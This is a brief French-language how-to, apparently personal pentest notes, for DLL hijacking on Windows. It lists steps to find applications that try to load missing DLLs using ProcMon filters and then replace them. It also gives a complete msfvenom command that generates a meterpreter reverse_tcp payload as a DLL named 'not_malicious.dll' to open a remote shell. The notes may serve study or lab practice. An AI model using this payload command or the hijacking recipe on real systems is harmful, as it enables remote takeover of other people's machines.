Étapes pour réussir l’injection de DLL sous windows
- Identifier l’application vulnérable et son emplacement
- Identifer le ID du processus
- Identifier les DLL vulnérables qui peuvent être hijackés
- Remplacer la DLL d’origine
Génération d’une DLL pour création d’une session meterpreter
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll
Conditions pour qu’une DLL soit vulnérable
Doit être définie par l'application
Se termine par .DLL
Doit être exécutée par l'application
La DLL n'existe pas sur le systèeme
Privilège d'écriture à l'emplacement de la DLL
Trouver des DLLs vulnérables avec l’utilitaire ProcMon
filter > Filter. Mettre Process Name, Contains et le nom de l’application dans le filtre.
Nous pouvons maintenant filtrer de nouveau avec
Path, ends with, .dll
Ce que nous voyons dans la colonne “Result” avec NAME NOT FOUND signifie que le logiciel tente de charger une DLL, mais ne la trouve pas.
Nous pouvons utiliser aussi un filtre
Result, contains, NAME NOT FOUND